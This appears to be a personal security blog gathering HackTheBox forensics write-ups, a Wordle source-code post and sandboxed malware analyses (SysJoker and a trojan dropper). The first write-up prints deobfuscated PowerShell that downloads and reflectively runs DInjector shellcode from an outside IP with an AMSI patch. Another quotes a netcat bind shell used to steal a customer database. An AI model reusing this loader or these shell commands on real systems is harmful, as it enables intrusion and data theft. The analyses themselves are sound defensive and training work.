During a recent red team engagement one of our servers got compromised. Upon completion the red team should have deleted any malicious artifact or persistence mechanism used throughout the project. However, our engineers have found numerous of them left behind. It is therefore believed that there are more such mechanisms still active. Can you spot any, by investigating this network capture?

PCAP Analysis

We are provided a single capture.pcap with 171 packets inside of it.

tcp.stream 1 is a GET /4a7xH.ps1 file that contains some code for grabbing a powershell file
tcp.stream 2 grabs a user32.dll file from the same place
tcp.stream 3 calls the /9tVI0 endpoint which seems to contain some sort of zipped or encoded data that is used in the initial powershell script

Deobfuscating the powershell code returns the following:

# NOTE: Powershell variables are case insensitive and can disregard special characters like `
Set-Variable  'YuE51' ([typE]('SySTeM.REFLEcTIOn.aSSemblY'));  
${a} = 'currentthread'
${B} = '147.182.172.189'
${C} = 80
${D} = 'user32.dll'
${E} = '9tVI0'
${f} = 'z64&Rx27Z$B%73up'
${g} = 'C:\Windows\System32\svchost.exe'
${h} = 'notepad'
${I} = 'explorer'
${j} = 'msvcp_win.dll'
${k} = 'True'
${l} = 'True'

# ${methods} does not contain 'currentthread' so it appears these never actually do anything

${methods} = @(('remotethread'), ('remotethreaddll'), ('remotethreadview'), ('remotethreadsuspended')
if (${methods}.('Contains').Invoke(${A})) {
    ${h} = (&('Start-Process') -WindowStyle ('Hidden') -PassThru ${H})."I`d" # starts a hidden 'notepad' process
}

if (${methods}.("Contains").Invoke(${a})) {
    try {
        ${I} = (&("Get-Process") ${I} -ErrorAction ("Stop"))."ID" # gets PID of explorer.exe
    }
    catch {
        ${I} = 0
    }
}

${cmd} = "currentthread /sc:http://147.182.172.189:80/9tVI0 /password:'z64&Rx27Z$B%73up' /image:C:\Windows\System32\svchost.exe /pid:${H} /ppid:${I} /dll:msvcp_win.dll /blockDlls:True /am51:True"
# contacts 9tVI0 endpoint of url and gets content to invoke
${data} = (.('IWR') -UseBasicParsing "http://147.182.172.189:80/9tVI0")."Content"
${assem} =  ( ls ('vaRIaBLe:yUE51'))."Value"::('Load').Invoke(${data})

${flags} = [Reflection.BindingFlags] ('NonPublic,Static')

${class} = ${assem}.('GetType').Invoke(('DInjector.Detonator'), ${flags})
${entry} = ${class}.('GetMethod').Invoke(('Boom'), ${flags})

${entry}."Invoke"(${null}, (, ${cmd}.('Split').Invoke(" ")))

In Wireshark, navigate to File > Export Objects > HTTP. Then I exported user32.dll and 9tVI0 for further analysis

user32.dll Static Analysis

If we open the user32.dll in JetBrains dotPeek, we can see the private static void Boom function inside of Detonator.cs that shows how this data is used:

private static void Boom(string[] args)
    {
      if (Detonator.VirtualAllocExNuma(Process.GetCurrentProcess().Handle, IntPtr.Zero, 4096U, 12288U, 4U, 0U) == IntPtr.Zero)
        return;
      int dwMilliseconds = new Random().Next(2000, 3000);
      double num = (double) ((uint) dwMilliseconds / 1000U) - 0.5;
      DateTime now = DateTime.Now;
      Detonator.Sleep((uint) dwMilliseconds);
      if (DateTime.Now.Subtract(now).TotalSeconds < num)
        return;
      Dictionary<string, string> dictionary = ArgumentParser.Parse((IEnumerable<string>) args);
      try
      {
        if (bool.Parse(dictionary["/am51"]))
          AM51.Patch();
      }
      catch (Exception ex)
      {
      }
      string s1 = string.Empty;
      foreach (KeyValuePair<string, string> keyValuePair in dictionary)
      {
        if (keyValuePair.Value == string.Empty)
          s1 = keyValuePair.Key;
      }
      string s2 = dictionary["/sc"];
      string password = dictionary["/password"];
      byte[] data;
      if (s2.IndexOf("http", StringComparison.OrdinalIgnoreCase) >= 0)
      {
        Console.WriteLine("(Detonator) [*] Loading shellcode from URL");
        WebClient webClient = new WebClient();
        ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls | SecurityProtocolType.Tls11 | SecurityProtocolType.Tls12;
        string address = s2;
        MemoryStream input = new MemoryStream(webClient.DownloadData(address));
        data = new BinaryReader((Stream) input).ReadBytes(Convert.ToInt32(input.Length));
      }
      else
      {
        Console.WriteLine("(Detonator) [*] Loading shellcode from base64 input");
        data = Convert.FromBase64String(s2);
      }
      byte[] numArray = new AES(password).Decrypt(data);
      int ppid = 0;
      try
      {
        ppid = int.Parse(dictionary["/ppid"]);
      }
      catch (Exception ex)
      {
      }
      bool blockDlls = false;
      try
      {
        if (bool.Parse(dictionary["/blockDlls"]))
          blockDlls = true;
      }
      catch (Exception ex)
      {
      }
      // ISSUE: reference to a compiler-generated method
      switch (\u003CPrivateImplementationDetails\u003E.ComputeStringHash(s1))
      {
        case 597187931:
          if (!(s1 == "remotethread"))
            break;
          RemoteThread.Execute(numArray, int.Parse(dictionary["/pid"]));
          break;
        case 886880049:
          if (!(s1 == "processhollow"))
            break;
          ProcessHollow.Execute(numArray, dictionary["/image"], ppid, blockDlls);
          break;
        case 1013440982:
          if (!(s1 == "functionpointerv2"))
            break;
          FunctionPointerV2.Execute(numArray);
          break;
        case 1337743390:
          if (!(s1 == "clipboardpointer"))
            break;
          ClipboardPointer.Execute(numArray);
          break;
        case 1581928577:
          if (!(s1 == "currentthreaduuid"))
            break;
          CurrentThreadUuid.Execute(Encoding.UTF8.GetString(numArray));
          break;
        case 1633653762:
          if (!(s1 == "remotethreadcontext"))
            break;
          RemoteThreadContext.Execute(numArray, dictionary["/image"], ppid, blockDlls);
          break;
        case 2000324974:
          if (!(s1 == "remotethreadview"))
            break;
          RemoteThreadView.Execute(numArray, int.Parse(dictionary["/pid"]));
          break;
        case 2145053022:
          if (!(s1 == "currentthread"))
            break;
          CurrentThread.Execute(numArray);
          break;
        case 2585521376:
          if (!(s1 == "remotethreadsuspended"))
            break;
          RemoteThreadSuspended.Execute(numArray, int.Parse(dictionary["/pid"]));
          break;
        case 2602728598:
          if (!(s1 == "functionpointer"))
            break;
          FunctionPointer.Execute(numArray);
          break;
        case 3284651259:
          if (!(s1 == "remotethreadapc"))
            break;
          RemoteThreadAPC.Execute(numArray, dictionary["/image"], ppid, blockDlls);
          break;
        case 3819032365:
          if (!(s1 == "remotethreaddll"))
            break;
          RemoteThreadDll.Execute(numArray, int.Parse(dictionary["/pid"]), dictionary["/dll"]);
          break;
      }
    }

Most importantly for us, we can see that the 9tVI0 is shell code that is password protected and needs decrypted.

I checked the AES.cs file as well because we need to know how the Decrypt() method is working. It's source is here:

using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Security.Cryptography;
using System.Text;

namespace DInjector
{
  internal class AES
  {
    private byte[] key;

    public AES(string password) => this.key = SHA256.Create().ComputeHash(Encoding.UTF8.GetBytes(password));

    private byte[] PerformCryptography(ICryptoTransform cryptoTransform, byte[] data)
    {
      using (MemoryStream memoryStream = new MemoryStream())
      {
        using (CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, cryptoTransform, CryptoStreamMode.Write))
        {
          cryptoStream.Write(data, 0, data.Length);
          cryptoStream.FlushFinalBlock();
          return memoryStream.ToArray();
        }
      }
    }

    public byte[] Decrypt(byte[] data)
    {
      using (AesCryptoServiceProvider cryptoServiceProvider = new AesCryptoServiceProvider())
      {
        byte[] array1 = ((IEnumerable<byte>) data).Take<byte>(16).ToArray<byte>();
        byte[] array2 = ((IEnumerable<byte>) data).Skip<byte>(16).Take<byte>(data.Length - 16).ToArray<byte>();
        cryptoServiceProvider.Key = this.key;
        cryptoServiceProvider.IV = array1;
        cryptoServiceProvider.Mode = CipherMode.CBC;
        cryptoServiceProvider.Padding = PaddingMode.PKCS7;
        using (ICryptoTransform decryptor = cryptoServiceProvider.CreateDecryptor(cryptoServiceProvider.Key, cryptoServiceProvider.IV))
          return this.PerformCryptography(decryptor, array2);
      }
    }
  }
}

Most important is the Key, IV and Mode to be able to decrypt. The mode is listed as CipherMode.CBC.

I used a .NET Sandbox to write some code in order to generate the key and IV . For the key:

string password = "z64&Rx27Z$B%73up";
        byte[] key = SHA256.Create().ComputeHash(Encoding.UTF8.GetBytes(password));
        StringBuilder builder = new StringBuilder();  
                for (int i = 0; i < key.Length; i++)  
                {  
                    builder.Append(key[i].ToString("x2"));  
                }  
        Console.WriteLine(builder.ToString());
// 0996cb714b12ed96972979398e78724df2a1fa0a1c01372975fdb07e2a15ee15

The IV is the first 16 bytes of the data. In Wireshark, we can view the hexdump of the file:

0000  99 07 bb 67 9e 17 65 dc  bd b4 67 c1 c4 b0 0d 21   ···g··e· ··g····!
0010  3b 3f 70 86 79 dc 12 e5  35 2f f4 ac 0f bb df 6a   ;?p·y··· 5/·····j
0020  57 e4 fa 09 4a 4d 03 ff  ba 9e f2 51 c2 c5 71 00   W···JM·· ···Q··q·
0030  df 04 df f8 82 dc d4 37  3e 0d 0b ba 5c 6b 64 2c   ·······7 >···\kd,
0040  4e 4d 7e 2e 46 bd 25 c2  0c 58 65 c0 27 fa c0 ca   NM~.F·%· ·Xe·'···
0050  d8 a0 12 0d 3e 5e fd 31  c8 f1 6f b8 7b f9 07 18   ····>^·1 ··o·{···
0060  b9 1b 47 59 2f ac 88 34  dc 1b 1c 92 d1 ef a0 08   ··GY/··4 ········
0070  7e dd 67 87 46 42 1c 01  d4 d2 2a a3 b6 00 64 9d   ~·g·FB·· ··*···d·
0080  aa cd 7f 0d 2f 7e 9a 9c  90 57 c1 3e a6 79 8c 15   ····/~·· ·W·>·y··
0090  8f d8 43 de 55 65 42 ac  47 7f 20 f6 38 6d f5 35   ··C·UeB· G· ·8m·5
00A0  a5 dd 46 19 9b 16 8b b2  b1 3d c3 2e e1 c9 d4 b2   ··F····· ·=·.····
00B0  01 47 44 2d 08 df d1 94  1a e0 34 b5 ff 76 a8 9f   ·GD-···· ··4··v··
00C0  01 cd f1 6a 35 e2 57 92  7c aa 02 d2 b6 54 bb 85   ···j5·W· |····T··
00D0  de 27 57 a0 a4 27 93 72  1b bc 25 7d 90 b7 57 dd   ·'W··'·r ··%}··W·
00E0  08 47 d3 31 77 6b b6 b9  68 00 16 8f 12 20 49 38   ·G·1wk·· h···· I8
00F0  fb ec 00 3c e9 ab 5e 90  b5 bc 57 b9 ac 79 ef c4   ···<··^· ··W··y··
0100  05 16 30 28 bd 0c 49 4d  47 db 4f 97 3d 43 dd 62   ··0(··IM G·O·=C·b
0110  df 1e eb 80 91 05 af ff  6d 6e 8a 0e a6 53 ec 9c   ········ mn···S··
0120  03 a6 20 95 49 81 f6 5b  db 47 14 ab bd cf 16 13   ·· ·I··[ ·G······
0130  fc e7 a8 44 f0 c7 94 dd  2b a1 81 14 35 fa 62 ee   ···D···· +···5·b·
0140  d2 c3 da 75 34 37 bc aa  47 22 73 9e c3 65 e1 d6   ···u47·· G"s··e··

The entire first line would then be the IV and the rest is what gets decoded. My full source code for the decryption is here:

[gh]https://github.com/EricTurner3/cybersecurity/blob/main/HackTheBox/challenges/forensics/redfailure/decrypt.cs[/gh]

Now with the shellcode, it is going to pass to RemoteThread.cs to actually execute.

Following this article, we can use a combination of ollydbg and blobrunner to try and decipher what the shellcode does. Using Cyberchef, I took the hexcode of the file and converted it to hex with a leading \x. Then I used python -c 'print"\xdb...xb2") > shellcode.bin' to drop this file out for analysis:

Just to ensure we are saving the file properly

In my windows VM, run ollydbg and use shellcode.bin as the argument. Let it run until a message appears on the terminal screen:

Debug time

However when running the shellcode, I get an access violation and it is crashing each time. So it still seems I am stuck here!

HackTheBox: Forensics Challenge – MarketDump

2022-02-25T16:12:10-05:00

Link: https://app.hackthebox.com/challenges/marketdump

This challenge provides us with a .zip that only contains a single MarketDump.pcapng file. The challenge description reads:

We have got informed that a hacker managed to get into our internal network after pivoting through the web platform that runs in public internet. He managed to bypass our small product stocks logging platform and then he got our costumer database file. We believe that only one of our costumers was targeted. Can you find out who the customer was?

Challenge Description

I opened up the .pcapng file in Wireshark, it has 2868 recorded packets. It appears the 10.0.2.15 IP appears to be the attacker in this case, and 10.0.2.3 must be the server that is running MySQL.

Packet Capture Overview:

The first 2000 or so packets just seem to be back and forth TCP calls with no real evidence of compromise. There was a server greeting from MySQL.
After the first 2000 packets, the activity changes and we can see packets for SSH, MySQL and HTTP light up.
By Packet 2104 a PSQL request for NT LANMAN appears.
Packet 2172 shows a TCP segment of random1random2random3random4
Followed closely by a malformed DNS packet on 2181 that contains krbtgt in the payload. It appears the attacker is attempting to send malformed packets to get a golden ticket or gain access to the machine.
Packet 2202 is a GET request for /nice ports,/Trinity.txt.bak
Packet 2242 is an OPTIONS request to port 53 of 10.0.2.3
Packet 2296 contains segment data of NSPlayer 9.0.0.2 which is a typical User-Agent for the Windows Media Player Browser
Packet 2305 contains (CONNECT_DATA=(COMMAND=version))
Packet 2314 contains MSSQLServer
Packet 2357 shows an nmap scripting engine GET request to /nmaplowercheck1531136698
Packet 2363 is a malformed packet containing POST /sdk with a <soap:Envelope>... </soap:Envelope> body
Packet 2366 is another POST /sdk with a similar body
Packets 2368 & 2370 are an initial Telnet connection that seems to go nowhere.
Packet 2372, 2375, 2380 are a 400 Bad Requests
Packet 2401, 10.0.2.15 reaches out to 10.0.2.3 with a GET /HNAP1 with a Nmap Scripting Engine User-Agent
Followed by several more Bad requests at 2404, 2408, 2410
Packet 2413 returns a 404 Not found on 10.0.2.3 for /sdk
Packet 2415 returns a 404 Not found on 10.0.2.3 for /nmaplowercheck1531136698
Packet 2419 is a 200 OK which returns a HTML oage with #DataNET in the title
Packet 2434 GET /evox/about from 10.0.2.15 to 10.0.2.3 (Bad Request)
Packet 2452 checks /HNAP again (a vulnerability that can allow RCE), but it returns 404
- These last few packets appear to be NMAP doing a scan to check for vulnerabilities
Packet 2482, 2484: 10.0.2.15 tries to log in to telnet on 10.0.2.3 but fails
Packet 2459-2514 are ICMP ping packets
Packet 2518 a HTTP request coming from User-Agent curl/7.60.0
Packet 2526, DNS request for A acid which returns 192.168.0.24
Packets 2531 - 2539, user tries to login to Telnet as admin:admin and fails
Packet 2545, another DNS request for A acid whcih returns 192.168.0.24
Packets 2555-2559, user tries to login to Telnet as admin:admin and SUCCEEDS.
Packet 2563-2579: Telnet command ran to view stock/inventory
Packet 2578, user logs back into telnet and immediately runs the stock command again

Welcome, admin

Here is you're daily stock report!

PRODUCT PRICE   STOCK
SHIRTS  20$   50
JEANS  40$   99
WALLETS 15$   19
SOCKS  10$   100
Type exit to exit the program:

Packet 2631, Telnet command ran nc.traditional -lvp 9999 -e /bin/bash
Packet 2633, reverse shell started and activity begins contact 10.0.2.3:9999
- This is tcp.stream eq 1056

From here, I followed the TCP stream and the attacker:

Ran ls -la to find two files: costumers.sql and login.sh
Ran pwd to find they were in /var/www/html/MarketDump
Ran whoami to find they were **root** (Oh man)
Ran wc -l costumers.ql for the wordcount of 10302
Copied the sql file to /tmp and exfiltrated it via a Python web server on port 9998
Ran cat costumers.sql to get an output of Credit Card Numbers
- One of the customers has a card number that contains letters instead of just numbers, this is our compromised customer
The user then removed the costumers.sql file from /tmp and ran exit

Through trial and error, I found the unusual string from the database was base58 encoded. Decoding it from an online web tool nets us the flag.

HackTheBox: Forensics Challenge - Reminiscent

2022-02-24T19:56:55-05:00

Link: https://app.hackthebox.com/challenges/reminiscent

Our unzipped folder gives us a Resume.eml, imageinfo.txt and flounder-pc-memdump.elf memory dump file.

Let's check out the email message. I ran cat Resume.eml which nets us:

Return-Path: bloodworm@madlab.lcl
 Delivered-To: madlab.lcl-flounder@madlab.lcl
 Received: (qmail 2609 invoked by uid 105); 3 Oct 2017 02:30:24 -0000
 MIME-Version: 1.0
 Content-Type: multipart/alternative;
  boundary="=_a8ebc8b42c157d88c1096632aeae0559"
 Date: Mon, 02 Oct 2017 22:30:24 -0400
 From: Brian Loodworm bloodworm@madlab.lcl
 To: flounder@madlab.lcl
 Subject: Resume
 Organization: HackTheBox
 Message-ID: add77ed2ac38c3ab639246956c25b2c2@madlab.lcl
 X-Sender: bloodworm@madlab.lcl
 Received: from mail.madlab.lcl (HELO mail.madlab.lcl) (127.0.0.1)
  by mail.madlab.lcl (qpsmtpd/0.96) with ESMTPSA (ECDHE-RSA-AES256-GCM-SHA384 encrypted); Mon, 02 Oct 2017 22:30:24 -0400
 --=_a8ebc8b42c157d88c1096632aeae0559
 Content-Transfer-Encoding: 7bit
 Content-Type: text/plain; charset=US-ASCII
 Hi Frank, someone told me you would be great to review my resume..
 Could you have a look?
 resume.zip [1]
 Links:
 [1] http://10.10.99.55:8080/resume.zip

We can see a link to a zip file on a remote server from the email. It is named resume but the extension is a .zip instead of a .docx or .pdf which should have been the first indicator to leave the attachment alone.

Next inside our package was an imageinfo.txt that provides information on the flounder-pc-memdump.elf memory file:

          Suggested Profile(s) : Win7SP1x64, Win7SP0x64, Win2008R2SP0x64, Win2008R2SP1x64_23418, Win2008R2SP1x64, Win7SP1x64_23418
                     AS Layer1 : WindowsAMD64PagedMemory (Kernel AS)
                     AS Layer2 : VirtualBoxCoreDumpElf64 (Unnamed AS)
                     AS Layer3 : FileAddressSpace (/home/infosec/dumps/mem_dumps/01/flounder-pc-memdump.elf)
                      PAE type : No PAE
                           DTB : 0x187000L
                          KDBG : 0xf800027fe0a0L
          Number of Processors : 2
     Image Type (Service Pack) : 1
                KPCR for CPU 0 : 0xfffff800027ffd00L
                KPCR for CPU 1 : 0xfffff880009eb000L
             KUSER_SHARED_DATA : 0xfffff78000000000L
           Image date and time : 2017-10-04 18:07:30 UTC+0000
     Image local date and time : 2017-10-04 11:07:30 -0700

We can use the Volatility framework to investigate this file.

# view running processes
$ vol.py pslist --profile=Win7SP1x64 -f flounder-pc-memdump.elf

We see two powershell.exe processes running from the above command. One at 496 and one at 2752.

# scan the active network connections
$ vol.py netscan --profile=Win7SP1x64 -f flounder-pc-memdump.elf
...
0x1fc04010         TCPv6    -:0                            6890:8300:80fa:ffff:6890:8300:80fa:ffff:0 CLOSED           2752     powershell.exe
0x1fc04490         TCPv4    10.10.100.43:49246             10.10.99.55:80       CLOSED           2752     powershell.exe
0x1fc15010         TCPv6    ::1:2869                       ::1:49237            ESTABLISHED      4        System
0x1fc3d320         TCPv4    10.10.100.43:49247             10.10.99.55:80       CLOSED           2752     powershell.exe

We can see a few closed connections to the same IP that the file was downloaded from on the PID 2752, powershell.exe process.

# search for resume files open
$ vol.py filescan --profile=Win7SP1x64 -f flounder-pc-memdump.elf | grep resume
Volatility Foundation Volatility Framework 2.6.1
0x000000001e1f6200      1      0 R--r-- \Device\HarddiskVolume2\Users\user\Desktop\resume.pdf.lnk
0x000000001e8feb70      1      1 R--rw- \Device\HarddiskVolume2\Users\user\Desktop\resume.pdf.lnk

We do have two files open, lets dump the files and see what we can derive from them:

# dump files at the specified offset to the current directory
$ vol.py dumpfiles --profile=Win7SP1x64 -f flounder-pc-memdump.elf -Q 0x000000001e8feb70 -D .

We can use strings on the files and a bunch of base64 appears. I threw the output into cyberchef and it returns a command with period delimitation and another base64 string:

from base64

After a quick google search, the period can be a sign of UTF-16(LE) encoding, according to this StackOverflow post. So, if we pass this through a Decode Text - UTF-16LE (1200) module, it removes the periods and we can copy the new base64 string and paste it.

After decoding the new string, we see the actual powershell code. Down near the very bottom is a $flag variable with our flag.

Wordle Reverse Engineered

2022-01-31T15:20:01-05:00

Wordle Share Grid

I've been seeing posts for this wordle game on my facebook, and it seems to be alight on Twitter as well. I decided to try the game today and was able to get it on my fourth try! It was pretty fun. But, I wanted to see if there was an easier way to determine the word just for fun.

Inspecting the network requests when entering a guess showed no activity. Which means the correct word must be already cached locally and isn't hitting a server for validation.

Doing some source code viewing, there is a word hash at the top along with the main.js:

Source Code

Browsing the sourcecode, there are several thousand lines of code. Most importantly are two arrays La, and Ta. Ta appears to be all the valid words in alphabetical order. La appears to be all words in game order.

Wordle chooses a new word every day, the offset is based off of its date of creation, June 19, 2021. On mine above you can see 226. There are 2315 words available which is enough to go through 2027.

If you copy the full La array to the console and access the 226th item, you get today's answer:

Answers for today and tomorrow

I manually set my date time to tomorrow on my linux VM and tested 227s word and sure enough it confirmed that var La is the answers for each day:

neat

And now my share screen is the following for tomorrow:

Wordle 227 1/6

🟩🟩🟩🟩🟩

It's a simple game that is fun for many online, and I was definitely surprised all of the answers were stored plain text in an array like that. Very interesting!

Malware Analysis #2

2022-01-12T20:27:12-05:00

SHA256 Hash: 1ffd6559d21470c40dcf9236da51e5823d7ad58c93502279871c3fe7718c901c

I searched the daily list of MalShare.com and pulled a random hash for investigation today, downloaded through my REMnux box and then used a Python web server to pull it onto my Windows box, since my windows vm has no internet connection.

Static Analysis

I renamed the file (which was just named after the sha256 hash) to m2.exe. I imported this into peID and received a Nothing Found * message which indicates it could be obfuscated.

Next I imported this into peStudio, and one of the IOCs it is highlighting is the use of the winhttp.dll library along with function calls over HTTP.

This screenshot shows some functions including ShellExecute and WinHTTP calls for opening and sending web requests

Further metadata about the file reveals the file is trying to mask itself as being from the Intel Corporation:

Version Information

My current suspicion is that this is a trojan dropper. It has some code already like in our Malware Analysis #1, and will try to make a call home to fetch further code that can be executed by the ShellExecute. Once again, all traffic is routed through my REMnux box so it will never actually be able to call home.

I tried loading the file into dotPeek but it is unable to do anything with it.

Dynamic Analysis

I have my REMnux box fired up and ready to monitor calls. On windows I fired up procmon and ProcessHacker. I also used Regshot to take a before capture of our registry.

After running it, it took over a minute before I noticed any activity. Eventually a new folder named PS_Transcripts appeared on the desktop and inside was a file with this in it:

It copied the original file to C:\ProgramData\SystemData\igfxCUIService.exe, so it is trying to pretend to be an actual Intel executable. It then spawns a new Process from this new file named igfxCUIService.exe, instead of my original m2.exe. Periodically I will see a sub-process for Powershell or CMD execute in Process Hacker that turns red for about 5 seconds then disappears:

A subprocess it spawns

In the new SystemData folder, there is a new file named microsoft_Windows.dll that is only 1 kb. I've noticed some TLS calls in wireshark to drive.google.com. I cannot prove at this time it's this process calling it, but I have nothing else on the computer that would need to make a connection to Google Drive.

Every two minutes or so a new file has dropped in the PS_Transcripts folder. It seems to be trying to exfiltrate data about my machine such as wmic data and environment variables to temp files. I'm watching the SystemData folder in an open Explorer and they never seem to actually appear. My guess is they maybe drop there for a second, try to exfiltrate then are deleted.

It's been probably 10 minutes. I decided to kill the process in Process Hacker and I waited another minute just to see if it would try to auto-launch itself back up or not. So far it appears it is down. The calls to drive.google.com have stopped since killing the application as well.

I sent my wireshark PCAP file over to the windows box along with the procmon file (be sure to change some of the settings before exporting to csv. See the README.md for procmon for more info).

Oh boy

Overview

m2.exe creates new thread (2376) and writes data to file in C:\Windows\rescache
- Like in Malware Analysis #1, this thread sets a bunch of registry keys in \HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap relating to internet options
- It sets an autostart registry key to powershell.exe
Several Powershell.exe threads appear running different things
- One creates a powershell script file in the %TEMP% folder
- Another creates the first logfile I saw and then sets the Internet Settings keys again in the registry before cloning itself to igfxCUIservice.exe, which we also saw.
The igfxCUIService.exe just continually creates new powershell scripts, spawns powershell, runs the script, deletes the script and usually dumps some sort of temp file in the SystemData folder which then also gets deleted shortly after.
It does create the microsoft_Windows.dll file as well
It finally spawns a cmd.exe that creates an autostart registry key for igxCUIService.exe
Interestingly, it tries sending traffic to win1710.ipv6.microsoft.com:443
svchost.exe does a bunch of queries on stuff related to the original m2.exe file
System.exe is also shown sending data to the same microsoft address.

Internet Search

I finally decided to search the hash here on VirusTotal, and found the community is referring to this as SysJoker. One step I missed was monitoring the memory. The application was writing those temp files then storing the contents in memory, that's why it was able to write, read and delete them.

Also inside the binary was a hardcoded XOR key which would have allowed me to decode the exact endpoint it was trying to reach. It was in fact trying to reach google drive in order to download a file that contained the IP of the C2 server. It was also programmed to randomly wait between 90-120 seconds before doing it's next command, which I noticed with the log files being spaced out.

Since I had my internet proxied so it could not have actually reached its endpoint, I found a fantastic article that shows further steps along with the XOR key and more here.

When they performed the analysis, it seemed the malware was lying dormant and was not actually issued any commands from the C2 server to actually activate. The server had the ability to receive a callback to see if the executed commands were successful or not. This malware also works on linux and MacOS, where it is virtually undetectable by Virus Scanners.

Further Analysis

After browsing through that link, I opened the igfxCUIService.exe file with CFF Explorer and found the XOR key and path:

Code

To get the code over to my linux box to decode, I outputted the ascii to text and then used the following command:

pscp C:\ProgramData\SystemData\xor.txt remnux@10.10.2.2:/home/remnux/Downloads/xor.txt

I did this for both files, then booted up CyberChef to perform the operation:

Decoded!

The string was originally base64 (notice the == at the end is usually a giveaway). By decoding this first, then performing the XOR operation with the key, it reveals the google drive link!

Downloading the file through curl, I received another base64 string that I popped into CyberChef and got the following JSON:

Our C2 domain

The domain is registered, however I receive a 500 error for GET or POST requests.

If we try a PUT request, we get a Laravel error message:

Laravel error, 405 Method Not Allowed

So know we know this C2 server is running Laravel PHP to listen for requests.

I tried sending some sort of POST with JSON of fake mac address, IP, av, and os to see if it would respond but it still hangs on a 500 error so there appears to be a misconfiguration and it isn't going to respond at all.

Conclusion

I've done more research into volatility and dumping memory from VirtualBox, i will try to implement that in a future malware analysis. I also need to figure out if I can allow certain domains as a pass-thru in my linux box. That way, in this case, the malware could reach drive.google.com but then not be able to actually proceed and contact the C2 server.

Malware Analysis - #1

2022-01-11T16:04:25-05:00

See here on my post on creating your own Malware Analysis lab!

I created an account on VirusShare to download some malware samples. I downloaded the first one so let's dive in and see what we can discover!

The SHA256 for my download was: 2db4caf14befbe99a9cf51ed7f7c3cade9df666c45579baaffc9e5a53c0b773c.

I downloaded the zip and compared the sha256 hash once downloaded to confirm it matches.
Next, I booted up a python webserver to transfer this over to my Windows testing machine.
Unzip the zip file and I renamed the file to hmm.exe
Start up a procmon on my local windows machine and Wireshark on my REMnux box. I already have the networking configured for DNS and returning web services (see my blog post in the link at the top of this one for more info)

Static Analysis

Before I go all willy-nilly and just boot the executable up, let's see what we can determine from it statically. I opened the file with pestudio. The initial indicators tab throws up some immediate flags:

indicators tab

Looking in the strings column, we can see several long base64 encoded strings to avoid detection.

Next I analyzed the file with peID to determine how the file was packed / compiled and saw the following:

Basic .NET 32-bit application

With this in mind, I booted up dotPeek by JetBrains and navigated to the Root Namespace we have for C# source code files that are randomly named and the functions / strings inside these files are also obfuscated:

odd naming convention for files

Snippet of one of the files, note many of the variables have random strings.

Inside of zcom.Resources, there are two base64 strings. The first one appears to be more source code. The second one returned random chinese characters so it wasn't useful to read but I am sure it gets shuffled around with the code in order to become legible again:

Dynamic Analysis

Let's go ahead and run this file and see what it does. I have a clean Wireshark open on my REMnux box, and procmon and ProcessHacker open on the Windows box.

Immediately upon launching, we get a new tmp8CA2.tmp.exe launch in Process Hacker. This is located in %TEMP% and has a date modified of 2/16/2007 12:00 AM. I also noticed another System.Web.exe in this folder with the same date and time, so it could be a clone.

My DNS server captures a few DNS records as well:

DNS records

Wireshark has lit up, this process is sending tons of packets. One of which, is trying to get an IP.php from one of the urls we saw:

Web Request

It seems to have hung on this point, continually trying to download the IP.php file that it cannot actually reach. I tried to see if I could cURL or wget the file myself but both webservers were down. I killed the process at this point, turned off Wireshark and Procmon capture and now let's save the output from wireshark and procmon.

We need to ensure the procmon file is exported with no Sequence ID and Thread ID is included. Also check All Events when saving. See here for more info. I also saved the wireshark file as a wireshark/tcpdump pcap file instead of pcapng. Use wget on windows and python web server on linux to send the file over.

Booting up procdot, load the procmon log file into Procmon and wireshark pcap into Windump.

Procmon Analysis

The only call made to bejnz.com was a GET /IP.php, which in our case the application always received a dummy PHP. It also tried doing the same from rwkeith.no-ip.org, probably a mirror site. Both URLs were offline so not exactly sure what that endpoint did.

The graph is far too long to display here, so I will just use bullet points to describe the general flow

Thread 3340, process "hmm.exe" creates several files such as zCom.resources, tmp8CA2.tmp, dncrnse9.tmp, dncrnse9.0.vb, dncrnse9.cmdline
Next it creates a new process, "vbc.exe", PID 4504
PID 4504, "vbc.exe"
- creates a new process "conhost.exe", which writes and deletes several temp files.
- It spawns a cvtres.exe which is used to compile resource files into compiled objects. This data is written out to the tmp8CA2.tmp.exe, it also writes a bunch of data to dncmse9.out
- then deletes its own process and all the temp files created from the initial "hmm.exe"
Back to 3340, "hmm.exe", The process sets some registry keys:
- The following are located in HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\
  - ProxyBypass to 1
  - IntranetName to 1
  - UNCAsIntranet to 1
  - AutoDetect to 0
PID 2772 "Explorer.EXE" sets a registry key AppID to the full path of "hmm.exe"
PID 3624 launches the "tmp8CA2.tmp.exe" executable that was created from "vbc.exe",
- it's first action is to delete "hmm.exe" off of my desktop. It then creates System.Web.exe in the same %TEMP% directory and sets an autostart registry key aspnet_state_perf to this executable.
- More registry keys:
  - HKLM\SOFTWARE\WOW6432Node\Microsoft\Tracing\tmp8CA2_RASAPI32\
    - EnableAutoFileTracing to 0
    - EnableFileTracing to 0
    - EnableConsoleTracing to 0
    - FileTracingMask to 4294901760
    - ConsoleTracingMask to 4294901760
    - MaxFileSize to 1048576
    - FileDirectory to %windir%\tracing
  - It queries the above keys several times
- Now we start the network requests.
  - rwkeithno-ip.org (dead URL)
    - HTTP request for /IP.php
    - It also sends a bunch of TCP requests to port 127
    - And ICMP packets with abcdefghijklmnopqrstuvwabcdefghi in the data

Conclusions

With the URLs it tries to access being either dead or useless, this file is mostly harmless, in its current state. It appears to be a Trojan / Backdoor Dropper where it unpacks itself to an alternate location, deletes the original file and then sets itself to autorun on startup through the registry. Here's the caveat: If the bejnz or rwkeith servers ever come back up with that requested IP.php it would basically activate and take control of every machine that has been lying dormant with this trojan, as it constantly tries to connect to those servers.

We can alsorun the SHA256sum through VirusTotal which provides essentially all the same information we just discovered through our own analysis (in reality, this is the first step you should take, but I already knew from the get go that it was malware).

Now it's time to reset our windows box back to our last good snapshot and prepare for the next analysis!

Malware Analysis Lab

2022-01-10T18:30:58-05:00

I decided to try and get into my own malware analysis, but I needed to create my own lab for safe testing. I wanted to outline how I set mine up.

